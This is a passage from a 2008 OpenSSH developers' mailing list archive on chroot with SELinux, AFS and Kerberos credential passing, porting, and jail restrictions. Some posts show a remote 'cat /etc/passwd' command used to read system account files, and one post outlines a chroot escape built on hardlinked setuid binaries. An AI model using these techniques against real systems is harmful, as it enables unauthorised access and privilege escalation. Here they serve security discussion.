new > (official) ChrootDirectory feature, as well as the older (3rd party) > patch at http://chrootssh.sourceforge.net/. > > _ /History and repro:/ > _ On March 21, 2008, Alexandre Rossi posted to this list with the > subject: "*ChrootDirectory fails if compiled with SELinux support > (whether or not using SELinux)*", and it can be read here: > http://www.gossamer-threads.com/lists/openssh/dev/42475 > > Alexandre described an SELinux failure with the following error message: > > ssh_selinux_getctxbyname: ssh_selinux_getctxbyname: > security_getenforce() failed > > As far as I know, that bug still exists and has not been fixed. There were 2 problems, both relating to the fact that the /selinux filesystem does not exist inside the chroot. 1) ssh_selinux_enabled() couldn't tell if selinux was enabled or not, because after the chroot it couldn't read /selinux/whatever. This was fixed by caching the value of the previous call and made ChrootDirectory work when selinux support was built in but selinux was not enabled on the system. 2) sshd couldn't set up the selinux execution context for chrooted sessions. Again, that's because the /selinux filesystem doesn't exist in the chroot. I don't think there's nothing that sshd can do about this, but it may be possible to make this work my also mounting /selinux inside the chroot (if that's even possible and doesn't cause problems for selinux, I'm not sure about either). > I am now getting that exact same error message from SELinux, > however, I am not using the ChrootDirectory feature. Instead, I am > using the chroot patch from this location: > > http://chrootssh.sourceforge.net/ [...] > I do not understand why using (or not using) a chroot'd directory > can cause SELinux support to become either "enabled" or "disabled". You'll have to ask the authors of the patch about its behaviour. > _ /Note and question about ChrootDirectory:/_ > > Finally, I want to throw in a quick end-user criticism of the new > ChrootDirectory feature. I need chroot() support in OpenSSH, but this > new ChrootDirectory option is useless to me (and, I submit, to most > other people who need chroot support in SSH). > > I am using a standard "shared server" webhosting setup. User files > are based on the $HOME dir, which is used by Apache's UserDir > (~/public_html/), suEXEC (which _/requires/_ that users' files be under > their $HOME), procmail (to find ~/.procmailrc), Courier-IMAP (to find > ~/Maildir/), SpamAssassin (to find ~/.spamassassin), and other > applications (like SquirrelMail, TMDA, etc.) that expect to find > per-user files in the user's $HOME. The restriction is that the chroot directory heirarchy must be root-owned and not writable by the user, and it exists because of the danger involved if the user has write access to the chroot's / directory. Consider what happens if, eg, the chroot directory is on the same filesystem as the real / and the user can create a hardlink to /sbin/su and their own /etc/passwd (or *any* setuid binary and their own /usr/lib/libc.so or ...) -- Darren Tucker (dtucker at zip.com.au) GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4 37C9 C982 80C7 8FF4 FA69 Good judgement comes with experience. Unfortunately, the experience usually comes from bad judgement. From ron_chen_123 at yahoo.com Tue May 27 13:58:25 2008 From: ron_chen_123 at yahoo.com (Ron Chen) Date: Mon, 26 May 2008 20:58:25 -0700 (PDT) Subject: ssh porting In-Reply-To: <634433.42739.qm@web46110.mail.sp1.yahoo.com> Message-ID: <427102.57565.qm@web35102.mail.mud.yahoo.com> 1) I googled for vxworks ssh and found links to: http://www.teamf1.com/products/ssh/sshield_overview.htm http://www.teamf1.com/docs/SSHield.pdf At bottom of the PDF file, "This product includes the OpenSSH software developed..." 2) And with POSIX support, I got this: http://www.windriver.com/whitepapers/vxworks_foreign_migration_wp.pdf I don't have a real VxWorks machine so I can't tell you how good it is... however, you will need to code something to get around missing fork/exec on VxWorks. In conclusion, someone has done it before, and with newer OS versions that include better POSIX support, the task should be easier. -Ron ====== http://gridengine.info/ http://gridengine.sunsource.net/ --- Swetha Goshal wrote: > I am swetha doing final btech.i want to do project > regarding ssh.I > want to port this openssh open source code to > vxworks-6.4.Is it > possible to port it to vxworks-6.4?why becoz there is no > support for > ssh in vxworks-6.4.And also i got key files /etc/ssh/ in > linux.how can > i got such type of files in vxworks-6.4.Please give me a > suggestion > regardind this. > > Thank you > > swetha. > _______________________________________________ > openssh-unix-dev mailing list > openssh-unix-dev at mindrot.org > https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev > From cristian.ionescu-idbohrn at axis.com Tue May 27 08:55:03 2008 From: cristian.ionescu-idbohrn at axis.com (Cristian Ionescu-Idbohrn) Date: Tue, 27 May 2008 00:55:03 +0200 (CEST) Subject: attemptin to port some parts of openssh to cris arch (linux) Message-ID: <0805270034530.9660@somehost> Please Cc:, as I'm not subscribed to the list. I'm trying to port openssh to embedded cris arch. Mainly interested in sftp-server, but I managed to crossbuild most apps: 273564 2008-05-27 00:15 openssh/ssh 58388 2008-05-27 00:15 openssh/sftp 312616 2008-05-27 00:15 openssh/sshd 31536 2008-05-27 00:15 openssh/sftp-server 53856 2008-05-27 00:15 openssh/ssh-agent 83560 2008-05-27 00:15 openssh/ssh-add 178388 2008-05-27 00:15 openssh/ssh-keyscan 186256 2008-05-27 00:15 openssh/ssh-keysign 104508 2008-05-27 00:15 openssh/ssh-keygen with not too much effort :) Thing is we use a slightly stripped openssl and consequently ran into some small problems. The patch works around those problems and cleans up some warnings too. If anyone can do a better thing of the patch, that would be great. I can try to provide as much info as I can, should anyone be interested. Cheers, -- Cristian -------------- next part -------------- A non-text attachment was scrubbed... Name: openssh-5.0p1.3.patch Type: text/x-diff Size: 6127 bytes Desc: Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20080527/24be3230/attachment-0001.bin From Laatsch at Uni-Koeln.de Wed May 28 03:34:42 2008 From: Laatsch at Uni-Koeln.de (Rainer Laatsch) Date: Tue, 27 May 2008 19:34:42 +0200 (MEST) Subject: Openssh + AFS Message-ID: The native authentication methods of openssh are (not counting insecure RhostsRSAAuthentication) 1) public key 2) password For users with home dirs in AFS space, method 1) does not work. Except with (non foolproof) fiddling on the access controls within the home directory. This might lead to security issues when done by inexperienced users. Without some work, only 2) remains. Being forced to send the most intimate credential instead of an ssh-key is not that nice. The use of Krb5 ticket passing with GSS-API is thought to be useful. But the authentication is done 'under the hood'; the administrator has no chance to issue finer controls regarding then ticket contents. When the ticket is accepted but not sufficient to open up the home dir, the user must be forced out in the behind. I would like to propose an initial credential exchange phase. The client might send ticket, x509-creds, afs-tokens or whatever. This should not authenticate the user, but help in authentcation with other methods. If activation of these credentials allows access to the AFS home dir, standard ssh-key authentication can be done. So a double authentication is enforced: the credentials must be sufficient for AFS and an ssh-key (from within protected AFS space) authentication has to be successful. Patches for a working example can be found in /afs/rrz.uni-koeln.de/admin/public/openssh-5.0p1-PatchDir/ It implements AFS-Token-passing and Krb5-ticket-passing for protocol-2 (adding X509-cred-passing should be easy). A flag 'AllowCredPassing' in the ssh config files might increase the acceptability for that. Best regards, Rainer Laatsch From mloftis at wgops.com Wed May 28 06:10:58 2008 From: mloftis at wgops.com (Michael Loftis) Date: Tue, 27 May 2008 14:10:58 -0600 Subject: Openssh + AFS In-Reply-To: References: Message-ID: <0A9670980BEB861E6CD9288C@d216-220-25-20.dynip.modwest.com> --On May 27, 2008 7:34:42 PM +0200 Rainer Laatsch wrote: > The native authentication methods of openssh are > (not counting insecure RhostsRSAAuthentication) > 1) public key > 2) password > For users with home dirs in AFS space, method 1) does not work. > Except with (non foolproof) fiddling on the access controls within > the home directory. This might lead to security issues when done > by inexperienced users. > > Without some work, only 2) remains. Being forced to send the most > intimate credential instead of an ssh-key is not that nice. > > The use of Krb5 ticket passing with GSS-API is thought to be useful. > But the authentication is done 'under the hood'; the administrator > has no chance to issue finer controls regarding then ticket contents. > When the ticket is accepted but not sufficient to open up the home dir, > the user must be forced out in the behind. > > I would like to propose an initial credential exchange phase. The client > might send ticket, x509-creds, afs-tokens or whatever. This should not > authenticate the user, but help in authentcation with other methods. > If activation of these credentials allows access to the AFS home dir, > standard ssh-key authentication can be done. So a double > authentication is enforced: the credentials must be sufficient for AFS > and an ssh-key (from within protected AFS space) authentication has to be > successful. I run sshd under k5start so it can obtain tokens to read public-key files from users. The ACLs are set by default to allow the daemon RO access. Users still need to use GSS-API though or they get 'forced out in the behind' as you call it when they can't access their homedir. > > Patches for a working example can be found in > /afs/rrz.uni-koeln.de/admin/public/openssh-5.0p1-PatchDir/ > It implements AFS-Token-passing and Krb5-ticket-passing for protocol-2 > (adding X509-cred-passing should be easy). > A flag 'AllowCredPassing' in the ssh config files might increase the > acceptability for that. > > Best regards, > Rainer Laatsch > > _______________________________________________ > openssh-unix-dev mailing list > openssh-unix-dev at mindrot.org > https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev -- "Genius might be described as a supreme capacity for getting its possessors into trouble of all kinds." -- Samuel Butler From Jefferson.Ogata at noaa.gov Wed May 28 07:21:36 2008 From: Jefferson.Ogata at noaa.gov (Jefferson Ogata) Date: Tue, 27 May 2008 21:21:36 +0000 Subject: Openssh + AFS In-Reply-To: References: Message-ID: <483C7B60.6020407@noaa.gov> On 2008-05-27 17:34, Rainer Laatsch wrote: > The native authentication methods of openssh are > (not counting insecure RhostsRSAAuthentication) > 1) public key > 2) password > For users with home dirs in AFS space, method 1) does not work. > Except with (non foolproof) fiddling on the access controls within > the home directory. This might lead to security issues when done > by inexperienced users. The authorized_keys file doesn't have to reside in the user's home directory. In many cases it is preferable if it is not. See the AuthorizedKeysFile directive. I often use something like: AuthorizedKeysFile /etc/ssh/keys/%u -- Jefferson Ogata NOAA Computer Incident Response Team (N-CIRT) "Never try to retrieve anything from a bear."--National Park Service From dougp at prostyle.com Wed May 28 12:27:15 2008 From: dougp at prostyle.com (Doug Poulin) Date: Tue, 27 May 2008 19:27:15 -0700 Subject: Feature request Message-ID: <003f01c8c06a$584ff2c0$4701a8c0@localhost.local> The sshd server has what I think is a serious flaw. There appears to be no way to turn off remote command execution. (someone please correct me if I am wrong). We have a server which uses a chroot jail, and rbash to severely limit what users can do on our system. The remote command bypasses all of that. ie. ssh user at host cat /etc/passwd will display the password file for the live system and not the chrooted jail. I've checked the man pages and so far I haven't seen anything that will allow me to override this functionality. We may be able to use the public/private key with the command override feature, but I'd rather the problem was addressed properly. Comments? Doug From dereks at realloc.net Wed May 28 15:46:33 2008 From: dereks at realloc.net (Derek Simkowiak) Date: Tue, 27 May 2008 22:46:33 -0700 Subject: Feature request In-Reply-To: <003f01c8c06a$584ff2c0$4701a8c0@localhost.local> References: <003f01c8c06a$584ff2c0$4701a8c0@localhost.local> Message-ID: <483CF1B9.1020301@realloc.net> /The sshd server has what I think is a serious flaw./ Doug, OpenSSH server does not support chroot shell access. It only supports a read-only chroot jail for SFTP (a brand-new feature which, I submit, is mostly useless). So, whatever chroot problem you are having is not related to OpenSSH. You're on the wrong list. Having said that, I am a user of the chroot patch for SSH available from http://chrootssh.sourceforge.net/ . Earlier this week I proposed that this patch be included with OpenSSH as a compile-time option. It's extremely useful (for many people, not just me) and it's been deployed out in the wild for a long time. It uses the same /./ chroot convention used by wuftp and chrsh. If that is the patch you are using -- you never mentioned how you were doing chroot with SSH -- then know that I am NOT able to reproduce your problem. Here I log in as a chroot'd user (username: admin, using a password). Note that the file /etc/passwd only has two lines, because it's the fake passwd file in the chroot jail: dereks at dell-laptop:~$ ssh admin at cst2 "cat /etc/passwd" admin at cst2's password: root:x:0:0:root:/root:/bin/bash admin:x:10001:10001:Administrator:/var/www/web1/./:/bin/bash And here I log in as a non-chroot'd user (username: root, using an authorized key). Note that the local /etc/passwd now has 42 lines, because it's the real passwd file at /etc/passwd: dereks at dell-laptop:~$ ssh root at cst2 "cat /etc/passwd | wc" 42 61 2040 dereks at dell-laptop:~$ Ergo, your problem is not with OpenSSH, and it's not even with the patch at http://chrootssh.sourceforge.net/. You need to keep looking. (To the best of my knowledge, if you're not using that patch, you will never get chroot SSH access for your users.) As an aside, note that my box "cst2" is running ISPConfig, which conveniently supports the above chroot patch, and which automatically creates a chroot jail for all new users (and puts the /./ syntax into their home directory) using its web-based GUI. Please do not reply to the OpenSSH list, because (again) this is the wrong list for your question. Feel free to reply to me privately if you need further assistance. Thanks, Derek P.S.> Yes, root shell with an authorized key. Please don't berate me about it. It's a dev system and I need convenient root access, so sue me. Doug Poulin wrote: > The sshd server has what I think is a serious flaw. There appears to be no way to turn off remote command execution. (someone please correct me if I am wrong). > > We have a server which uses a chroot jail, and rbash to severely limit what users can do on our system. The remote command bypasses all of that. > > ie. ssh user at host cat /etc/passwd will display the password file for the live system and not the chrooted jail. > > I've checked the man pages and so far I haven't seen anything that will allow me to override this functionality. We may be able to use the public/private key with the command override feature, but I'd rather the problem was addressed properly. > > Comments? > Doug > _______________________________________________ > openssh-unix-dev mailing list > openssh-unix-dev at mindrot.org > https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev > From jdehaan at zwartkasteel.nl Wed May 28 15:09:45 2008 From: jdehaan at zwartkasteel.nl (Jan de Haan) Date: Wed, 28 May 2008 07:09:45 +0200 Subject: Feature request In-Reply-To: <003f01c8c06a$584ff2c0$4701a8c0@localhost.local> References: <003f01c8c06a$584ff2c0$4701a8c0@localhost.local> Message-ID: <7f69402e0805272209w5c66bf02h500216ac3f4b8d74@mail.gmail.com> Hi Doug, see man sshd(8), authorized_keys format: how about a command="/bin/rbash" ? Does that work? Sincerely, Jan On 5/28/08, Doug Poulin wrote: > > The sshd server has what I think is a serious flaw. There appears to be no > way to turn off remote command execution. (someone please correct me if I > am wrong). > > We have a server which uses a chroot jail, and rbash to severely limit what > users can do on our system. The remote command bypasses all of that. > > ie. ssh user at host cat /etc/passwd will display the password file for the > live system and not the chrooted jail. > > I've checked the man pages and so far I haven't seen anything that will > allow me to override this functionality. We may be able to use the > public/private key with the command override feature, but I'd rather the > problem was addressed properly. > > Comments? > Doug > _______________________________________________ > openssh-unix-dev mailing list > openssh-unix-dev at mindrot.org > https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev > From Laatsch at uni-koeln.de Wed May 28 18:51:00 2008 From: Laatsch at uni-koeln.de (Rainer Laatsch) Date: Wed, 28 May 2008 10:51:00 +0200 (MEST) Subject: Openssh + AFS In-Reply-To: <483C7B60.6020407@noaa.gov> Message-ID: The user cannot create that by himself. Should the admin manually fulfill requests if there are > 50000 users? (Current count: 50090) Best regards Rainer Laatsch On Tue, 27 May 2008, Jefferson Ogata wrote: > The authorized_keys file doesn't have to reside in the user's home > directory. In many cases it is preferable if it is not. See the > AuthorizedKeysFile directive. I often use something like: > > AuthorizedKeysFile /etc/ssh/keys/%u > > From gert at greenie.muc.de Wed May 28 18:55:28 2008 From: gert at greenie.muc.de (Gert Doering) Date: Wed, 28 May 2008 10:55:28 +0200 Subject: Openssh + AFS In-Reply-To: References: <483C7B60.6020407@noaa.gov> Message-ID: <20080528085528.GI426@greenie.muc.de> Hi, On Wed, May 28, 2008 at 10:51:00AM +0200, Rainer Laatsch wrote: > The user cannot create that by himself. Should the admin manually fulfill > requests if there are > 50000 users? (Current count: 50090) An admin worth his money should be able to script something that creates proper files/subdirectories automatically. gert -- USENET is *not* the non-clickable part of WWW! //www.muc.de/~gert/ Gert Doering - Munich, Germany gert at greenie.muc.de fax: +49-89-35655025 gert at net.informatik.tu-muenchen.de From Laatsch at uni-koeln.de Thu May 29 02:37:35 2008 From: Laatsch at uni-koeln.de (Rainer Laatsch) Date: Wed, 28 May 2008 18:37:35 +0200 (MEST) Subject: Openssh + AFS In-Reply-To: <0A9670980BEB861E6CD9288C@d216-220-25-20.dynip.modwest.com> Message-ID: The real problem is, you need a prior authentication (e.g. ssh-key) before the ssh delivers needed creds (gssapi). The k5start concept brought me to this solution: I have a valid ticket in $HOME/.ssh/krb5cc.$user (protected in AFS). Now ssh $Buser at host there being put under pam; /etc/pam.d/sshd starts with: auth sufficient pam_runexec.so debug ignore_root \ program=/afs/zaik/public/AuthScript progparams=$USER The AuthScript contains: #!/bin/ksh # called from PAM auth sshd user=$1 KRB5CCFILE=`echo $KRB5CCNAME | sed -e 's/FILE://'` [ "$user" == "" ] && exit 101 echo "$KRB5CCFILE" | grep ^/tmp/ >/dev/null || exit 102 umask 0177 PubKey=/afs/zaik/public/servicekey /usr/bin/ssh -i $PubKey root at hal.rrz.uni-koeln.de $user $KRB5CCNAME >$KRB5CCFILE rc=$? exit $rc The PubKey has a forced command: command="/root/noaccess/GrantKrbTkt" ...... that contains: #!/bin/ksh [ "$1" != "UNDERPAG" ] && exec /usr/afsws/bin/pagsh -c "exec $0 UNDERPAG $*" shift ## hidden method to get admin token here ### user=`echo $SSH_ORIGINAL_COMMAND | awk '{print $1}'` KRB5CCNAME=`echo $SSH_ORIGINAL_COMMAND | awk '{print $2}'` [ "$user" == "" ] && exit 13 rc=99 TkFile=`getent passwd $user | cut -d: -f6`/.ssh/krb5cc.$user if [ -s $TkFile ] ; then export KRB5CCNAME=FILE:$TkFile /opt/krb5/bin/kinit -R ; rc=$? chown $user $TkFile [ "$rc" -eq 0 ] && cat $TkFile else echo " NO file $TkFile" >&2 fi exit $rc Voila; admin got me a credential. Doing ssh under Pam decouples the admin token from the user. Best regards, Rainer Laatsch On Tue, 27 May 2008, Michael Loftis wrote: > I run sshd under k5start so it can obtain tokens to read public-key files > from users. The ACLs are set by default to allow the daemon RO access. > Users still need to use GSS-API though or they get 'forced out in the > behind' as you call it when they can't access their homedir. From deengert at anl.gov Thu May 29 02:19:45 2008 From: deengert at anl.gov (Douglas E. Engert) Date: Wed, 28 May 2008 11:19:45 -0500 Subject: Openssh + AFS In-Reply-To: References: Message-ID: <483D8621.6030501@anl.gov> Rainer Laatsch wrote: > The native authentication methods of openssh are > (not counting insecure RhostsRSAAuthentication) > 1) public key > 2) password > For users with home dirs in AFS space, method 1) does not work. > Except with (non foolproof) fiddling on the access controls within > the home directory. This might lead to security issues when done > by inexperienced users. > > Without some work, only 2) remains. Being forced to send the most > intimate credential instead of an ssh-key is not that nice. > > The use of Krb5 ticket passing with GSS-API is thought to be useful. Yes it is useful. When used with something like pam_afs_session, it can get a AFS token. > But the authentication is done 'under the hood'; the administrator > has no chance to issue finer controls regarding then ticket contents. That is a GSSAPI restriction. Delegation is a single flag. The Kerberos protocol allows for multiple tickets to be delegated, but with GSS currently a full ticket granting ticket is sent. You might want to bring up the issue with the IETF Kitten (GSSAPI) working group. There is also the Kerberos OK_TO_DELEGATE flag as an advisory to the client. But this too is not fine grained. > When the ticket is accepted but not sufficient to open up the home dir, > the user must be forced out in the behind. The k5start method as suggested by mloftis at wgops.com sounds interesting, as the user then sets the AFS ACLs to let selected hosts read access to the ~/.ssh directory... Or if the user sets up ACLs for the home directory, ~/.ssh directory and adds symlinks in the ~/.ssh directory for files that must be readable only by the user to some ~/.private directory the the sshd can read some data without a AFS token. until and AFS token is obtained after the authentication by pam_afs_session. > > I would like to propose an initial credential exchange phase. The client > might send ticket, x509-creds, afs-tokens or whatever. This should not > authenticate the user, but help in authentcation with other methods. > If activation of these credentials allows access to the AFS home dir, > standard ssh-key authentication can be done. Not clear if there is a risk here. Any delegated tickets are encrypted in a key contained in the the Kerberos service ticket. So in effect you have authenticated with Kerberos but you still want to authenticate with the SSH keys. If this SSH key authentication fails, you have given away the delegated tickets. > So a double > authentication is enforced: the credentials must be sufficient for AFS > and an ssh-key (from within protected AFS space) authentication has to be > successful. > > Patches for a working example can be found in > /afs/rrz.uni-koeln.de/admin/public/openssh-5.0p1-PatchDir/ > It implements AFS-Token-passing and Krb5-ticket-passing for protocol-2 > (adding X509-cred-passing should be easy). > A flag 'AllowCredPassing' in the ssh config files might increase the > acceptability for that. > > Best regards, > Rainer Laatsch > > _______________________________________________ > openssh-unix-dev mailing list > openssh-unix-dev at mindrot.org > https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev > > -- Douglas E. Engert Argonne National Laboratory 9700 South Cass Avenue Argonne, Illinois 60439 (630) 252-5444 From Jefferson.Ogata at noaa.gov Thu May 29 03:38:21 2008 From: Jefferson.Ogata at noaa.gov (Jefferson Ogata) Date: Wed, 28 May 2008 17:38:21 +0000 Subject: Openssh + AFS In-Reply-To: References: Message-ID: <483D988D.9000708@noaa.gov> On 2008-05-28 08:51, Rainer Laatsch wrote: > The user cannot create that by himself. That's one of the benefits. > Should the admin manually fulfill > requests if there are > 50000 users? (Current count: 50090) If the admin trusts the users to manage their own authenticators, he can pre-create the authorized keys file for each user. Just touch an empty file and chown it to the user; keep the directory 755. Top posting is a sign of fuzzy thinking. > On Tue, 27 May 2008, Jefferson Ogata wrote: >> The authorized_keys file doesn't have to reside in the user's home >> directory. In many cases it is preferable if it is not. See the >> AuthorizedKeysFile directive. I often use something like: >> >> AuthorizedKeysFile /etc/ssh/keys/%u -- Jefferson Ogata NOAA Computer Incident Response Team (N-CIRT) "Never try to retrieve anything from a bear."--National Park Service From sxw at inf.ed.ac.uk Thu May 29 03:44:30 2008 From: sxw at inf.ed.ac.uk (Simon Wilkinson) Date: Wed, 28 May 2008 18:44:30 +0100 Subject: Openssh + AFS In-Reply-To: <483D8621.6030501@anl.gov> References: <483D8621.6030501@anl.gov> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 28 May 2008, at 17:19, Douglas E. Engert wrote: >> >> I would like to propose an initial credential exchange phase. The >> client >> might send ticket, x509-creds, afs-tokens or whatever. This should >> not >> authenticate the user, but help in authentcation with other methods. >> If activation of these credentials allows access to the AFS home dir, >> standard ssh-key authentication can be done. > > Not clear if there is a risk here. Any delegated tickets are encrypted > in a key contained in the the Kerberos service ticket. So in effect > you have > authenticated with Kerberos but you still want to authenticate with > the > SSH keys. If this SSH key authentication fails, you have given away > the > delegated tickets. OpenSSH had (almost) this behaviour, which was considered a security flaw, and removed. The problem is that a user can inadvertently give away their credentials, by allowing another user to use ssh from their console. For example, say that Alice allows Bob to use her machine to connect to a server. Bob enters his username and password, but ends up with Alice's credentials on the server. In most Kerberised envrionments, ssh public key is pretty much useless, as without Kerberos credentials you can't do anything at all - - I'm not sure what the benefit to adding significant additional complexity to the protocol to allow their use in these environments is. S. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.7 (Darwin) iD8DBQFIPZn+qWndc26pXmcRAnE9AJsFPp4JEdUvOx/MaEirqHBeDmjqEQCgpE3b //bIOF19kBcl9AwAp5xc0ps= =V8c6 -----END PGP SIGNATURE----- From Laatsch at uni-koeln.de Thu May 29 11:36:17 2008 From: Laatsch at uni-koeln.de (Rainer Laatsch) Date: Thu, 29 May 2008 03:36:17 +0200 (MEST) Subject: Openssh + AFS In-Reply-To: <20080528085528.GI426@greenie.muc.de> Message-ID: You are possibly right. But not coding too soon gives you time to think about what finally should be the outcome. Mit freundlichem Gruss Rainer Laatsch ________________________________ ______________________ E-mail: Laatsch at Uni-Koeln.DE Universitaet zu Koeln Reg. Rechenzentrum (ZAIK/RRZK) Fax : (0221) 478-5590 Robert-Koch-Str. 10 Tel : (0221) 478-5582 D-50931 Koeln On Wed, 28 May 2008, Gert Doering wrote: > Hi, > > On Wed, May 28, 2008 at 10:51:00AM +0200, Rainer Laatsch wrote: > > The user cannot create that by himself. Should the admin manually fulfill > > requests if there are > 50000 users? (Current count: 50090) > > An admin worth his money should be able to script something that creates > proper files/subdirectories automatically. > > gert > From Laatsch at uni-koeln.de Thu May 29 13:45:05 2008 From: Laatsch at uni-koeln.de (Rainer Laatsch) Date: Thu, 29 May 2008 05:45:05 +0200 (MEST) Subject: Openssh + AFS In-Reply-To: <483D8621.6030501@anl.gov> Message-ID: Hello Mr. Engert, I am very glad to hear from you. I learned a lot inspectng the code of yourn'gssklog*' (and also 'GetToken/SetToken' of Mr. Toebbicke @ CERN). Though we have not switched (yet) to final usage of krb5, our testbed uses your 'gssklog*' effectivly. My latest message shows how to get credentials. It is easy to get an AFS token at once (instead of getting an Krb5 ticket and then struggling to get the AFS token). If the tickets reside solely in AFS space, that's good. The standard krb5 setup leaves ticket files (effectively equivalent to the password) on every server. This concept might have been enforced by NationakSecurityAgencies which I dont want to assist; except under official legal issues. I will contribute a PAM nodule (soon); all the base works can be found already in /afs/rrz.uni-koeln.de/admin/public/openssh-4.7p1-PatchDir/ Best regards, Rainer Laatsch On Wed, 28 May 2008, Douglas E. Engert wrote: > > The use of Krb5 ticket passing with GSS-API is thought to be useful. > > Yes it is useful. When used with something like pam_afs_session, > it can get a AFS token. > > > But the authentication is done 'under the hood'; the administrator > > has no chance to issue finer controls regarding the ticket contents. > > The k5start method as suggested by mloftis at wgops.com sounds interesting, > as the user then sets the AFS ACLs to let selected hosts read access > to the ~/.ssh directory... > > Not clear if there is a risk here. Any delegated tickets are encrypted > in a key contained in the the Kerberos service ticket. So in effect you have > authenticated with Kerberos but you still want to authenticate with the > SSH keys. If this SSH key authentication fails, you have given away the > delegated tickets. From dereks at realloc.net Thu May 29 14:03:16 2008 From: dereks at realloc.net (Derek Simkowiak) Date: Wed, 28 May 2008 21:03:16 -0700 Subject: OpenSSH + chroot + SELinux = broke In-Reply-To: <483B63AF.9030500@zip.com.au> References: <4839CDAE.9020903@realloc.net> <483B63AF.9030500@zip.com.au> Message-ID: <483E2B04.5020701@realloc.net> Darren, Thank you for your detailed reply. I have a follow-up question about the chroot exploit you mentioned: Darren> "/The restriction is that the chroot directory heirarchy must be root-owned and not writable by the user, and it exists because of the danger involved if the user has write access to the chroot's / directory. Consider what happens if, eg, the chroot directory is on the same filesystem as the real / and the user can create a hardlink to /sbin/su and their own /etc/passwd (or *any* setuid binary and their own /usr/lib/libc.so or ...)/ " Is this the same exploit you are referring to? (taken from http://kerneltrap.org/Linux/Abusing_chroot): Mr_Z> /"If the mortal user has write access on any filesystem containing system binaries and files, they can hard-link to those binaries and files inside the chroot "jail" ahead of time. They can then put other files of their own creation in choice places (e.g. replace libc as someone suggested, or change other configuration files) and run SUID programs that are "too trusting" (e.g. programs that don't check for UID or GID=0 on libraries or config files) and get them to misbehave./ /Note that such an attack is much more difficult (impossible?) if mortal users do not have writable directories on the same filesystem as system libraries, executables and configuration scripts. Hard links generally do not cross filesystem boundaries."/ (...and also referred to simply as a "chroot suid attack" here: http://www.lysator.liu.se/noid/user_chroot.html.) As you mentioned, this vulnerability is blocked by having a separate /home/ partition (or in the case of ISPConfig on Ubuntu, /var/ or /var/www/, because that's where home dirs are). I've read about breaking out of a chroot() as a non-root user (by using ptrace() on a running, user-owned process outside of the jail), but all the other chroot() vulnerabilities I am aware of require the ability to run a process as root. Thanks, Derek Darren Tucker wrote: > Derek Simkowiak wrote: >> Hello, >> First, a big thank you to the OpenSSH devs. >> >> _ /Problem Summary:/ >> _ Chroot and SELinux don't get along. This affects both the new >> (official) ChrootDirectory feature, as well as the older (3rd party) >> patch at http://chrootssh.sourceforge.net/. >> >> _ /History and repro:/ >> _ On March 21, 2008, Alexandre Rossi posted to this list with the >> subject: "*ChrootDirectory fails if compiled with SELinux support >> (whether or not using SELinux)*", and it can be read here: >> http://www.gossamer-threads.com/lists/openssh/dev/42475 >> >> Alexandre described an SELinux failure with the following error >> message: >> >> ssh_selinux_getctxbyname: ssh_selinux_getctxbyname: >> security_getenforce() failed >> >> As far as I know, that bug still exists and has not been fixed. > > There were 2 problems, both relating to the fact that the /selinux > filesystem does not exist inside the chroot. > > 1) ssh_selinux_enabled() couldn't tell if selinux was enabled or not, > because after the chroot it couldn't read /selinux/whatever. This was > fixed by caching the value of the previous call and made > ChrootDirectory work when selinux support was built in but selinux was > not enabled on the system. > > 2) sshd couldn't set up the selinux execution context for chrooted > sessions. Again, that's because the /selinux filesystem doesn't exist > in the chroot. I don't think there's nothing that sshd can do about > this, but it may be possible to make this work my also mounting > /selinux inside the chroot (if that's even possible and doesn't cause > problems for selinux, I'm not sure about either). > >> I am now getting that exact same error message from SELinux, >> however, I am not using the ChrootDirectory feature. Instead, I am >> using the chroot patch from this location: >> >> http://chrootssh.sourceforge.net/ > [...] >> I do not understand why using (or not using) a chroot'd directory >> can cause SELinux support to become either "enabled" or "disabled". > > You'll have to ask the authors of the patch about its behaviour. > >> _ /Note and question about ChrootDirectory:/_ >> >> Finally, I want to throw in a quick end-user criticism of the new >> ChrootDirectory feature. I need chroot() support in OpenSSH, but >> this new ChrootDirectory option is useless to me (and, I submit, to >> most other people who need chroot support in SSH). >> >> I am using a standard "shared server" webhosting setup. User >> files are based on the $HOME dir, which is used by Apache's UserDir >> (~/public_html/), suEXEC (which _/requires/_ that users' files be >> under their $HOME), procmail (to find ~/.procmailrc), Courier-IMAP >> (to find ~/Maildir/), SpamAssassin (to find ~/.spamassassin), and >> other applications (like SquirrelMail, TMDA, etc.) that expect to >> find per-user files in the user's $HOME. > > The restriction is that the chroot directory heirarchy must be > root-owned and not writable by the user, and it exists because of the > danger involved if the user has write access to the chroot's / directory. > > Consider what happens if, eg, the chroot directory is on the same > filesystem as the real / and the user can create a hardlink to > /sbin/su and their own /etc/passwd (or *any* setuid binary and their > own /usr/lib/libc.so or ...) > From deengert at anl.gov Fri May 30 05:41:47 2008 From: deengert at anl.gov (Douglas E. Engert) Date: Thu, 29 May 2008 14:41:47 -0500 Subject: Openssh + AFS In-Reply-To: References: Message-ID: <483F06FB.5030103@anl.gov> Rainer Laatsch wrote: > Hello Mr. Engert, > I am very glad to hear from you. I learned a lot inspectng the code of > yourn'gssklog*' (and also 'GetToken/SetToken' of Mr. Toebbicke @ CERN). > Though we have not switched (yet) to final usage of krb5, our testbed uses > your 'gssklog*' effectivly. > Nice to hear. We have converted all newer systems to using the OpenAFS aklog, but still have a few doing gssklog. > My latest message shows how to get credentials. It is easy to get an > AFS token at once (instead of getting an Krb5 ticket and then struggling > to get the AFS token). > > If the tickets reside solely in AFS space, that's good. The standard > krb5 setup leaves ticket files (effectively equivalent to the password) > on every server. This concept might have been enforced by > NationakSecurityAgencies > which I dont want to assist; except under official legal issues. You are addressing a real concern that the delegated credential by GSS is a full TGT. In may situations, delegating just an AFS ticket would be less risky. But it soulds like you are adderssing this by doing the delegation at the SSH level. Have you looked at what it would take to do this within GSS? Kerberos can forward more then one ticket, but no one I know of has taken advantage of this. > > I will contribute a PAM nodule (soon); all the base works can be found > already in > /afs/rrz.uni-koeln.de/admin/public/openssh-4.7p1-PatchDir/ > > > Best regards, > Rainer Laatsch > > On Wed, 28 May 2008, Douglas E. Engert wrote: >>> The use of Krb5 ticket 